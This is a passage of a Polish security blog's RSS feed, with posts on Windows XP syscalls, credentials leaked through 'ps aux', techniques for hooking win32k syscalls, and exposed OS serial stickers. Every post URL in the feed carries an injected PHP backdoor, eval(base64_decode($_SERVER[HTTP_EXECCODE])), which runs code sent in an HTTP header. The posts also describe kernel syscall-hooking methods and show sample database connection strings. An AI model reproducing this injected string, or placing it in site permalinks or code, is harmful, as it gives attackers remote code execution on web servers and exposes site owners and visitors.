</ul>
<p>Wygląda więc na to że NtModifyBootEntry pojawia się również więcej niż raz.</p>
<p>Ciekawe z czego te różnice wynikają. I dlaczego niektórych syscalli jest tak dużo, a innych &#8220;brakuje&#8221;.</p>
<p>K tyle. G.C.</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/07/06/syscalle-w-xp-i-pewne-ciekawostki/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ps aux</title>
		<link>http://gynvael.uw-blog.org/2007/06/28/ps-aux/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/06/28/ps-aux/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 27 Jun 2007 23:45:49 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Bez kategorii]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=12</guid>
		<description><![CDATA[Hi ponownie,
Jeszcze jeden króciutki post dzisiejszego wieczoru. Taka mała &#8220;cytatowa&#8221; historyjka pod tytułem &#8220;dlaczego ps aux nie powinno pokazywać procesów innych userów&#8221; ;&#62;
reiko     3184  0.0  1.3 263248 13552 pts/5    Sl+  Jun27   0:00 java -cp .:mysql_jdbc2.0.jar NickServer &#8211;nsport 14992 &#8211;dbdriver org.gjt.mm.mysql.Driver &#8211;dbconnection jdbc:mysql://localhost/reiko_czat?user=reiko_czat&#38;password=sthchatr3ik000
hovik  [...]]]></description>
			<content:encoded><![CDATA[<p>Hi ponownie,</p>
<p>Jeszcze jeden króciutki post dzisiejszego wieczoru. Taka mała &#8220;cytatowa&#8221; historyjka pod tytułem &#8220;dlaczego ps aux nie powinno pokazywać procesów innych userów&#8221; ;&gt;</p>
<p>reiko     3184  0.0  1.3 263248 13552 pts/5    Sl+  Jun27   0:00 java -cp .:mysql_jdbc2.0.jar NickServer &#8211;nsport 14992 &#8211;dbdriver org.gjt.mm.mysql.Driver &#8211;dbconnection jdbc:mysql://localhost/reiko_czat?user=reiko_czat&amp;password=sthchatr3ik000</p>
<p>hovik     7670  0.0  1.3 263760 13708 ?        Sl   Jun27   0:01 java -cp .:mysql_jdbc2.0.jar NickServer &#8211;port 14998 &#8211;dbdriver org.gjt.mm.mysql.Driver &#8211;dbconnection jdbc:mysql://localhost/hovik_hotczat?user=hovik_hoczat&amp;password=sthchat777y</p>
<p>Dla bezpieczeństwa userów hasła troszkę zmieniłem ;&gt; Niemniej jednak widać o co chodzi. Cóż ;&gt;</p>
<p>G.C.</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/06/28/ps-aux/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hookowanie syscalli z win32k</title>
		<link>http://gynvael.uw-blog.org/2007/06/28/hookowanie-syscalli-z-win32k/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/06/28/hookowanie-syscalli-z-win32k/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 27 Jun 2007 23:38:27 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[C]]></category>

		<category><![CDATA[ring0]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=11</guid>
		<description><![CDATA[Hi,
O ile hookowanie syscalli zawartych w kernelu Windowsa z rodziny NT, czyli ntoskrnl, nie sprawia żadnych problemów, o tyle w przypadku syscalli odpowiedzialnych za GUI jest trochę więcej kombinowania. Ale po kolei.
Każdy thread pod WinNT ma określony zestaw syscalli (KSERVICE_TABLE_DESCRIPTOR[]) z którego może korzystać. Na dobrą sprawę mamy dwa takie zestawy:

KeServiceDescriptorTable - zawierający jedynie odniesienie [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>O ile hookowanie syscalli zawartych w kernelu Windowsa z rodziny NT, czyli ntoskrnl, nie sprawia żadnych problemów, o tyle w przypadku syscalli odpowiedzialnych za GUI jest trochę więcej kombinowania. Ale po kolei.</p>
<p>Każdy thread pod WinNT ma określony zestaw syscalli (KSERVICE_TABLE_DESCRIPTOR[]) z którego może korzystać. Na dobrą sprawę mamy dwa takie zestawy:</p>
<ul>
<li>KeServiceDescriptorTable - zawierający jedynie odniesienie do syscalli z ntoskrnl</li>
<li>KeServiceDescriptorTableShadow - zawierający odniesienie za równo do syscalli z ntoskrnl, jak i win32k</li>
</ul>
<p>Domyślnie każdy utworzony thread ma przypisany (Thread-&gt;Tcb.ServiceTable) pierwszy zestaw, czyli KeServiceDescriptorTable. Symbol tego zestawu jest wyexportowany, więc zlokalizowanie zestawu oraz tablicy syscalli nie jest żadnym problemem.</p>
<p>W przypadku kiedy thread wywoła jakiś syscall &gt;= 0&#215;1000, np NtUserFindWindowEx (poprzez np funkcję FindWindow), uruchamiana jest procedura PsConvertToGuiThread() (base\ntos\ps\psquery.c) która między innymi podmienia zestaw syscalli na KeServiceDescriptorTableShadow.</p>
<p>I tutaj zaczynają się &#8220;schody&#8221;. Mianowicie KeServiceDescriptorTableShadow nie jest exportowany przez kernel, czyli w legalny sposób nie można się do tego dobrać. Ale OK, tak w zasadzie wystarczy tylko adres tablicy syscalli (_W32pServiceTable) w win32k, bo to pointery w tej tablicy podmieniamy.  Niestety, _W32pServiceTable również nie jest eksportowany.</p>
<p>Wyjść jest oczywiście kilka:</p>
<ul>
<li>Sprawdzić w symbolach gdzie jest KeServiceDescriptorTableShadow lub _W32pServiceTable i użyć tego adresu (jako stałego). Niestety co patch na kernel/win32k trzeba ten adres ponownie sprawdzać.</li>
<li>Alexander Volynkin zaproponował przeszukanie wszystkich adresów występujących w funkcji KeAddSystemServiceTable, tak aby natrafić na adres który wskazuje na strukturę wypełnioną identycznymi danymi jak KeServiceDescriptorTable, ale jednak nie będącą pod tym samym adresem (pierwszy wpis w obu strukturach w końcu jest identyczny, bo opisuje tablicę syscalli z ntoskrnl). Jest to niezła metoda, chociaż trochę &#8220;hackish&#8221; (jak to mawia pewien mój pro znajomy ;&gt;).</li>
<li> Różni ludzie proponują aby poszukać identycznego wpisu jak pierwszy z KeServiceDescriptorTable gdzieś w okolicy (+- 256 bajtów) KeServiceDescriptorTable. Faktycznie KeServiceDescritorTableShadow jest umieszczany zazwyczaj przez kompilator w tych okolicach (w źródle kernela obie struktury są koło siebie), jednak to nie jest zbyt pewna metoda. Niemniej jednak póki co skuteczna.</li>
<li>Można przeszukać DriverEntry win32k na odwołania do KeAddSystemServiceTable, w końcu ta funkcja jako parametr przyjmuje adres tablicy syscalli (push offset _W32pServiceTable). Ta metoda nie brzmi jednak zbyt pewnie.</li>
<li>Można poczekać aż driver zostanie wywołany w kontekscie threadu z &#8220;pełnym&#8221; zestawem syscalli (np. użyć procedur powiadamiania o zniszczeniu wątku i poczekać aż się jakiś trafi, a one często się trafiają), po czym odczytać z Thread-&gt;Tcb.ServiceTable adres tabeli syscalli.</li>
<li>Można przeszukać listę threadów i zobaczyć które mają inną zestaw inny niż KeServiceDescriptorTable.</li>
<li>Ewentualnie można podmienić procedurę obsługującą SYSENTER i zobaczyć gdzie ona szuka/skacze. Ta metoda jednak nie jest najszczęśliwsza (nie spełnia zasady KISS ;&gt;).</li>
<li>etc.</li>
</ul>
<p>Metod jest dużo, wszystkie jednak zmuszają do uciekania się do pewnych sztuczek. Cóż, czasem ważne żeby po prostu działały.</p>
<p>To niestety nie koniec &#8220;schodów&#8221;. Okazuje się że w przypadku Windowsa XP (nie wiem jak z nowszymi) win32k nie zawsze jest widoczny w pamięci wirtualnej. Owszem, jest zawsze w pamięci fizycznej, ale jeśli dany thread nie jest ustawiony jako GUI, to win32k nie jest zamapowany do pamięci wirtualnej, nawet w przypadku gdy thread działa kernel mode. To wymaga znowu kombinowania. Metod znowu jest kilka:</p>
<ul>
<li>Znaleźć win32k w pamięci fizycznej i zamapować go &#8220;ręcznie&#8221;. Szybkość nie jest mocną stroną tej metody.</li>
<li>Postarać się aby podmiana syscalli następowała w momencie gdy driver działa w kontekscie threadu GUI (patrz poprzednia metoda z PsSetCreateProcessNotifyRoutine tudzież PsSetCreateThreadNotifyRoutine, lub można też część działającą w user mode poprosić o &#8220;dotknięcie&#8221; drivera po uprzednim zainicjowaniu GUI).</li>
</ul>
<p>Osobiście skorzystałem z tej drugiej metody. Nyom. Po rozwiązaniu takich dwóch problemów możemy się cieszyć sliczymi hookami w win32k.</p>
<p>Dodam jeszcze na koniec że należy uważać przy korzystaniu ze źródeł ReactOS do określania parametrów przyjmowanych przez dany syscall. Okazuje się iż mimo że ReactOS ma być w 100% kompatybilny z Windows&#8217;em, to nie wszystkie rzeczy są zachowane. Przykładem może być NtUserFindWindowEx który w przypadku ReactOS pobiera 16 bajtów parametrów (4 x 4 bajty), a  przypadku Windows XP 20 bajtów parametrów (5 x 4 bajty). Cóż ;&gt;</p>
<p>Dobra, to tyle ;&gt;<br />
Zachęcam do komentowania tego oraz poprzednich postów ;&gt;</p>
<p>G.C.</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/06/28/hookowanie-syscalli-z-win32k/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Back, Komputery z hipermarketów</title>
		<link>http://gynvael.uw-blog.org/2007/06/26/back-komputery-z-hipermarketow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/06/26/back-komputery-z-hipermarketow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 26 Jun 2007 00:24:03 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=10</guid>
		<description><![CDATA[Hi =^^=
Pierwszy post po przeprowadzce. Uff. Jeszcze sporo latania co prawda zostało, ale sytuacja się stabilizuje i powoli wracam do normalnego trybu. Moje stanowisko pracy też zaczyna wyglądać normalnie (tj już mam biurko na którym można było PCta rozstawić =^^=).

Anyway, dzisiejszy post będzie dość krótki. I dotyczył będzie pewnego zjawiska które mnie zastanowiło ostatnio (a [...]]]></description>
			<content:encoded><![CDATA[<p>Hi =^^=</p>
<p>Pierwszy post po przeprowadzce. Uff. Jeszcze sporo latania co prawda zostało, ale sytuacja się stabilizuje i powoli wracam do normalnego trybu. Moje stanowisko pracy też zaczyna wyglądać normalnie (tj już mam biurko na którym można było PCta rozstawić =^^=).</p>
<p><img src="http://gynvael.vexillium.org/gynhq_low.jpg" title="Stanowisko pracy" alt="Stanowisko pracy" align="middle" height="480" width="640" /></p>
<p>Anyway, dzisiejszy post będzie dość krótki. I dotyczył będzie pewnego zjawiska które mnie zastanowiło ostatnio (a w zasadzie już jakiś czas temu).</p>
<p>W większości hipermarketów znajdziemy jakiś duuży sklep z elektronikom typu MediaMarkt czy Saturn. W takich sklepach oprócz peryferiów można nabyć też całe zmontowane kompy z zainstalowanym systemem etc. Oczywiście pewną kwestią jest czy opłaca się kupować złożonego kompa w takim sklepie, ale ja nie o tym. Pewnym imho zaniedbaniem ze strony tychże sklepów jest wystawianie na widok seriali zainstalowanych systemów operacyjnych. Ów seriale są w postaci ślicznych naklejek naklejone na górę obudowy i w sumie tylko czekają aż ktoś je spisze. Pół biedy jeśli system na takim PC był już aktywowany. Ale co jeśli nie był ? Uczciwy nabywca po zakupie może stwierdzić że jego klucz jest już używany, bo wcześniej ktoś przyszedł z komórką i zrobił fotkę kilku ciekawym &#8220;obudowom&#8221;. Problem dotyczy też laptopów. One co prawda mają seriale od systemów operacyjnych nalepione zazwyczaj na spodzie, ale (niespodzianka) można je podnieść ;p. Cóż. Ciekawe ile reklamacji będzie trzeba aż tego typu sklepy zaczną przynajmniej zasłaniać seriale.</p>
<p>No nic, motto na dziś.. po co komu keygen jak jest MediaMarkt ;p</p>
<p>Do jutra ;&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/06/26/back-komputery-z-hipermarketow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
